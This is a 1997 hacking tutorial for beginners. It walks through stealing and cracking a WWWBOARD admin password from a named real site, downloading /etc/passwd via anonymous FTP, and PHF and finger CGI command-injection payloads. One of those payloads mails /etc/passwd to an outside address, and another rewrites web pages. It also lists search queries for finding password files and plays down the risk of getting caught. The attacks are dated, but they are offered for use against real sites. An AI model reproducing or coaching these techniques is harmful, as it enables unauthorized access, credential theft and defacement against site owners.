

Made on August 19, 1997.

Introduction - OK, this file is intended solely for people who know very little about hacking, and when I say very little I mean very little. Now, for those of you jumping happily around and screaming "Finally, I am gonna be a hacker!" stop jumping around and just sit down, take a few deep breaths, and just relax.

After reading this file you should be able to hack

- 1 - A WWWBOARD,
- 2 - FTP/UNIX sites,
- 3 - Website Tricks, and
- 4 - Neat stuff/Misc. with much confidence.

Now, on to the disclaimer:

*** I will NOT be held responsible for what you do with this information. ***

NOTE: All commands that are written in this file, with the exception of the John the Ripper commands, like "edit passwd" are for DOS, so if you have UNIX use the VI editor or something of the sort.

OK, now there is no specific table of contents of this file, I am pretty much just going to make it up as I go along. Now, for you advanced hackers out there, I would recommend just leaving this file because you probably won't find much in this file that you don't already know. All right, now that I'm done this stupid raving rant, I can start explaining how to go about learning what you want to learn.

1 - How to hack a WWWBOARD (Credit going to kM of www.hackersclub.com for coming up with this brilliant idea, lets all applaud kM.)

OK, now obviously, in order to hack a WWWBOARD you need some sort of password file. Now, defaultly the passwd file is in the WWWBOARD directory. Most people who run the WWBOARD think to themselves "Hmm... What are the odds of some guy coming along and wanting to hack my WWWBOARD?" Well, the odds are pretty damn good. Now, when I say hack I mean both just to explore and just to do fun stuff like deleting files. I am not saying deleting files is GOOD, but sometimes it is fun. Anyway, the passwd file is almost always in the WWWBOARD directory, so lets take a real WWWBOARD.

The URL is <http://www.cobleskill.edu/projects/archeo/wwwboard/>. Now, if you go to that URL you will see a listing of files. For the purpose of this file ONLY, and not malicious intent, I have not alerted the site of this problem. Now, go to that URL and click on the file passwd.txt. You will get two words that look like this:

```
WebAdmin:aepTOqxOi4i8U
```

The first word, WebAdmin, is the username of, obviously, the operator of this WWWBOARD. The second "word" is the password, now, your probably sitting there looking at that word thinking to yourself "God damn, that is one funky password!" Well, stop thinking that because yes, that is the password, but it is encrypted. So, you have to get a password cracker. Now, I recommend one of two Password Crackers, either CrackerJack or John the Ripper, both of these can be found at <http://www.hackersclub.com> or almost any other hacking site. Once you go and get a password cracker you will most likely need a Word File. Those to can be found at <http://www.hackersclub.com>. Once you get the

necessary stuff, you will need to copy the password file, WebAdmin:aepTOqxOi4i8U, and paste it into an empty notepad file or something of the sort. Now, you are probably thinking to yourself again "Alright, now I can crack this bad-ass of a password and become a hacker!" Sorry to rain on your parade, but no. Yes, you might be able to crack the password, but then ask yourself one question, once I got the password, what do I do with it?? Do I go mail it to the server www.cobleskill.edu and say "Hey, I got your passwd, now give me complete access to your WWWBOARD!" Sorry, if you do that, you will be thinking for about 10 years in prison "What did I do wrong?" or you might become Bruno's sweet boy. Sound like fun?? Didn't think so. OK, now IF you crack the password file, and you get the Username and Password, unencrypted of course, paste it into a text document or something, then add this right onto it - ":-2:-2:anonymous NFS user:/:/bin/date" What that will do will turn the WWWBOARD passwd file into a UNIX passwd file. If you don't do that then you will never crack the file. All in all the passwd file should look like this: "WebAdmin:aepTOqxOi4i8U:-2:-2:anonymous NFS user:/:/bin/date" Now, I don't use CrackerJack, so if you got that I can't help you, but if you got John the Ripper then type in this command in DOS : "john -pwfile:xxxxx -wordfile:xxxxx" XXXXX is whatever you named the passwd file or the word file. For example, "john -pwfile:hehe.txt -wordfile:WF.txt" It should just screw around for awhile and compute stuff and then if it is cracked you will get on the left side of the screen the passwd, WebBoard, and the Username, WebAdmin. Now, WebAdmin and WebBoard are the two-default username and passwds. Shows you about security these days. Now, once you got those two things, go into the WWWBOARD directory and look for a file(s) called WWWADMIN.CGI or WWWADMIN.PL or WWWBOARD.CGI or even WWWBOARD.PL. If none of those are there then you should examine the rest of the files in the directory. When I was in the directory the file wasn't there, but I found it nevertheless, I am not going to tell you what it is, but once you find it you will get something like this: WWWAdmin For WWWBoard

Choose your Method of modifying WWWBoard Below:

Remove Files

Remove Files

Remove Files by Message Number

Remove Files by Date

Remove Files by Author

Password

Change Admin Password

That is, you guessed it, the little "Operating Station" for the WWWBOARD. Now, to do any of those things you must have the Username and Passwd that you cracked. So, click on an option and I think the rest is pretty much self-explanatory. I really do not recommend trashing the WWWBOARD, some people depend on them to get a lot of questions and answers, etc. I usually just read all the hidden messages and stuff like that and then just leave or tell the Operator of the WWWBOARD that his board is 100% trashable.

2 - Hacking an FTP site

OK, now hacking an FTP site WAS pretty easy a while ago, but nowadays most passwd files are shadowed which adds a little bit of extra security. I'll explain it later. OK, now, just before we start, the passwd file on UNIX machines is "passwd" not "passwd.txt." OK, now, for the example site we are going to use <http://www.freestuff.com>. Now, with the information I am going to give you will not let you hack this site because the passwd file is

shadowed, as is almost every single website, but nevertheless, if you "experience" hacking long enough, you will find the answer on how to get the file. OK, now the first step is to do 1 of 2 things, get an FTP browser, like CuteFTP or BulletFTP or something, or you can use Win95 FTP which no one really knows about and how I found out is beyond my memory. OK, I will explain the FTP browser way first. OK, fire up the FTP Browser and for the host name plug in `www.freestuff.com` and for the port leave it at whatever it is, and hit connect, if there are any other options, then just screw around with them for a while and you'll figure it out. Anyway, for the access type or whatever, click on Anonymous, and after you hit connect you'll get some directories in the Remote Host box, and some other neat stuff in Local Host. Now, in the Remote Host section you want to double click on the "etc" directory if it is visible, if it is not, then see in the pull-down menus if there is an option called custom command. If there is then click on it and for the command type in "`cd etc`" and it will either say "OK, CWD command accepted" or something along the lines of that or it will say "`..:Access Denied`" or even "Error:There is no file or directory by that name." If you get the CWD command accepted then were in business. In the `/etc/` directory you should see a file called `passwd`. If you don't then go back up to custom command and for the command type in "`get /etc/passwd`" and it will either say "OK, Port command successful" or it will say "`..:Access Denied`." If you see that file then you can just drag the file over to local host and then click on the button "Start Download" or "Start Query" or something like that.

Now, if you have Win95 FTP you will have to go the Start Menu MS-DOS Prompt and type in "`FTP WWW.FREESTUFF.COM`" and it will show up a bunch of neat little messages like "connecting to `www.freestuff.com`" and other stuff. Eventually you will get to the login screen where it will say "(USER)" or something interesting and long like that. Now, for User type in Anonymous. If it accepts it will say "Password" or it will say, "Anonymous access not allowed on this server." Now, obviously the FBI or CIA is not going to allow ftp access, so don't even try it. Now, if you get to the password part, just type in something interesting like "`Suckhole@`" and the ftp server will fill in the rest. You can make it anything you want, now you'll either get 1 of 2 messages, within a marginal error, "Cannot set guest privileges" or this "Anonymous access allowed, guest privileges set." Those should be the only two that you get. If there are any others, these messages are pretty much self explanatory. Now, when you log on, the first thing you want to type is this command "`pwd`." Just that, it will display the current directory that you are in. You want it to say "`/.`" If it doesn't then type this command about 3 times "`cd ..`" That will take you down 1 directory/subdirectory. Once you get to the "`/`" directory, type this command "`ls -a`." It will list all the files in the directory, including the hidden ones. Now, if you see something in the listing that says "etc" then type this command "`cd etc`." That will move you into the "etc" directory. Just to be sure, type in "`pwd`" again to make sure you're in the "etc" directory. If you are, then good, and type "`ls -a`" again and you should get some of these files: "`Pwd.db`, `passwd`, `group`, `netconfig`, `net.config`, or maybe even `master.passwd`." The two files we are most interested in are "`passwd`" and "`master.passwd`." I think what the files hold are kind of self-explanatory, but I'll tell you anyway, the "`passwd`" file holds all the usernames and `passwd`'s that are on the entire system that your rooting around on. The "`master.passwd`" file will only show up if the `passwd` file is shadowed, and it also means the SysAdmin is a complete brain puppy. Forget "`master.passwd`" for now. The command you want to issue to this system is to get the "`passwd`" file from their computer to your computer, and we do that by simply typing, "`get passwd`." It should barf up some neat stuff, and then start transferring the file. When you get back to the ftp prompt you

will have the passwd file on your C:\ drive or wherever you initiated the "ftp www.freestuff.com" from. Now, you just want to type in "quit." That will log you off the server. Now, for some reason right when you logoff the server you want to log back on just hit the "F3" key and it will pop up your last command. Now, what you want to do is move the passwd file to wherever your passwd cracker is. You can do that by typing, "move passwd X:\XX." X is the drive that your passwd cracker is on and XX is the directory the passwd cracker is in. Then it should say something like this: passwd -----> X:\XX -->OK" or something like that. Once you have moved the passwd file go the passwd crackers directory and open up the file by typing "Edit passwd." If the file has a bunch of stuff that looks like this:

```
root:x:x:x:x:x:x:
daemon:x:x:x:x:x:x
```

If it looks like that, not all the x's, just one by the usernames, then the passwd file is shadowed and can't be cracked, might as well delete it (More info on shadowed passwd's at the bottom of this file). If it isn't shadow then just type in the passwd cracking command and get ready to hack a server! I still highly recommend not doing any damage, there are many ways to get caught and just to help out the websites out there I will not tell you the ways that they can catch you, But don't worry, every 8 out of 10 servers that are aware of having an attempted hack don't report it and just go about there business. Now, one more thing, if you get on the server with root access (basically root means that you can do anything, you are God on this system) then there are log files that record what happens to you, now, I think I am handing you more than enough information, so I am going to let you found out how to wipe your presence from the system, there are plenty of .txt files out there that tell you how to do it.

3 - Website Tricks

OK, now these Website tricks are "tricks" to get the passwd file without using FTP Browser or FTP Browsers.

The PHF Trick

OK, now this phf trick is a bit tricky (hehehe), not to use, but in the fact that some sites have added a command in there HTML code that if the phf command is issued then it will display a message like "Smile your on candid camera!" or it will say this "Your hack attempt has been logged and sent to the proper authorities." Sit the hell down, drop that shotgun, unbar your door, and stop whimpering about how your going to get busted and raped in prison by Scruffy. 90% of the time they are just bullshitting you and to them the proper authorities could be out in deep-dish-yak-dick country or in Bum Fuck Egypt. They just do that to scare the living shit out of Newbies or anybody who does that. It is bullshit, so stop worrying. OK, now on how to do the phf trick. This trick practically never works anymore, but hey, its fun to try on old school sites and stuff like that. I don't have an example site cause I really don't want to hunt down a site that this trick works on, so go find on yourself and don't send me e-mail about how you can't find a site that this doesn't work on. In order to do this trick the site must have a /cgi-bin/ directory. If it doesn't, then just leave it and forget the whole damn thing on that site, but if it does then keep reading. I am going to make this quick, an example would be this: <http://www.Imanasshole.org/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd>

That will bring up the passwd file, but 95% of the time you'll get this very common and even more very crappy error about how the file doesn't exist. OK, that's the phf trick. Now, onto the finger-box hacking trick.

Finger-Box Hacking

Again for the finger-box hack to work you have to find a website with the /cgi-bin/ directory. I am just going to post the basic outline of commands for this cause my fingers are getting very tired of typing this :-). An example of finger-box hack is this:

<http://www.XXXXX.com/cgi-bin/finger>

After you type that in you will get a box, if you don't then the finger isn't there or you don't have access to it, and in the box type this:

```
nobody@nowhere.org ; /bin/mail me@junk.org < etc/passwd
```

Substitute where necessary, I have never actually gotten this trick to work cause I've never tried it more than once or twice cause I never needed it, but I knew about it so go crazy :-).

Rewriting A Web page Right From Your Web Browser

In order to do this trick again you need the /cgi-bin/ directory on your "target" site. For example, type this when you have a website that has the /cgi-bin/ directory:

```
http://www.XXXXX.com/cgi-bin/phf?Qalias=x%0a/bin/echo%20 "some stuff"%2
```

"Some stuff" is whatever you want to add basically, but beware, sometimes the web site can track you using the cookies that you sent while on there page, so just to be sure that they don't have cookie requests, if you have Netscape, then in the configuration somewhere, I forget where, check the box that says "Enable alert when accepting a cookie" or something that looks along the lines of that.

4 - Neat stuff/Misc.

The first thing I am going to cover is just some very interesting tricks that I know about AltaVista, <http://www.Altavista.com>. These tricks only involve you typing in something for the search query. OK, here are a list of words and things that will bring up very interesting files from websites:

```
root:
```

```
root
```

```
passwd.txt
```

```
wwwadmin.cgi
```

```
wwwboard.cgi
```

```
wwwadmin.pl
```

```
wwwboard.pl
```

```
passwd (Note: supposed to bring up UNIX passwd files but I haven't tried it, so if you try it send me some e-mail and let me know what happens).
```

```
wwwboard (Note: brings up the wwwboard directories so you can look for the passwd.txt file and other neat stuff).
```

```
master.passwd (Note: again, never tried it, so send me some feedback, let me know if it is even actually worth some1's time of typing it in, or just a hoax).
```

OK, those words work in about almost any search engine, but work best with AltaVista because AltaVista searches the links on the pages in it's archive for your word, and almost every page has a link to it's passwd file or something other that is of interest.

OK, now this next trick I thought of when I d/led HakTek to check it out it had a feature of deleting mail-bombed messages, now, if you don't have HakTek, and don't want it/can't find it, then just go into the mail directory of your web browser, and delete all the mail and the mail bomber has wasted his time.

Now I am just going to give you some UNIX commands and what they do, so if you want to be a UNIX fan or LINUX fan then check these out:

```
cd X - X = the directory that you want to switch to
ls - list all the files in a directory, excluding the hidden ones
ls -a - lists all the files in a directory, including the hidden ones
ls -A - lists all the hidden files in a directory, but not the . and ..
ls -ALF - lists the properties of all the files in a directory
cd .. - goes down one directory/subdirectory
cd . - absolutely nothing!
quit - log off the ftp site (obviously only on Win95 FTP)
```

Those commands listed above work on BOTH FTP sites AND UNIX machines, now here are commands that work ONLY on UNIX machines:

```
cat X - the file you want to view
vi - Visual Editor that you can use to edit files
edit - edit files (not sure on this one, works on some UNIX's)
ed - edit files (on all machines)
chmod - change the ownership of a file
help - list of commands that you can use (Note: * next to command means that it is not used on that certain UNIX machine)
man X - for further information on a CERTAIN UNIX command whereas X is the command that you want more information on
```

Well, that about does it for this file, but I really didn't want to wrap it up so I am going to add some links that will help you A LOT in your travels, so visit all these links for all the tools and other things that you'll need:

<http://www.hackersclub.com> - A great site, I give it two-thumbs up :-).

<http://project-one.com> - Under Construction, where this file was intended).

<http://hackers.com> - Under MAJOR Construction, going to be one of the best hacking sites ever, home of Revelation, I don't know him, but if he is reading this file, then Hi revelation! :-).

<http://www.adirtroad.com> - TONS of neat things, and TONS of free-stuff links, again, two-thumbs up :-).

<http://easyweb.easynet.co.uk/~davegraham/britpack.htm> - Brit Hack Pack, there was a rumor going around that there files had virii, that is a bunch of BS, I support them completely, even though I'm not British :-).

<http://www.wtp.net/~xeno/main.htm> - An all around good site

<http://www.geocities.com/SiliconValley/3078/frame2.html> - Well, I really only included this link cause the leader of this group and the guy who runs the page loves to cause mass destruction, and he's funny to watch, so keep being funny Senate :-).

<http://www.WorkingDesigns.com> - Absolutely nothing to do with hacking just a great place to go if you have any of there RPG games, hope they finish the site sometime soon... and my final link:

<http://www.freestuff.com> - You remember that site right?? I thought so; guess what you find there???

Well, I hope you enjoyed this file and learned a lot from it, I certainly put a lot of typing into it, so if you really want to send me some money... I mean a donation, hehe, don't, keep your money, cause I'm sure you have better things to spend it on then giving it to me :-), *mentally smacking myself for refusing money*. OK, well, I will probably write a lot more files cause I enjoy writing Newbie stuff, so well, if you want to E-mail me the send mail to: RAWTAZ@CONNIX.COM

And I will get back to you whenever I can. Hang in there, you'll get there someday :-).

My "Quote" Of The Day (hehe):

Frustrated Person: "WHY WON'T THIS DAMN THING WORK?!?!?!?"

Calm, Clean Shaven Teacher: "Examine it, what do you find wrong with it?"

Frustrated Person: "NOTHING, IT IS BROKEN!!!"

Calm, Clean Shaven Teacher: "You are to quick to anger, learn patience."

Frustrated Person: "WHY PATIENCE, ITS BROKEN!!!!!!!"

Calm, Clean Shaven Teacher: "It's not plugged in."

Frustrated Person: "Oh, I knew that."

Moral of story: Patience is the ultimate weapon

-Phooey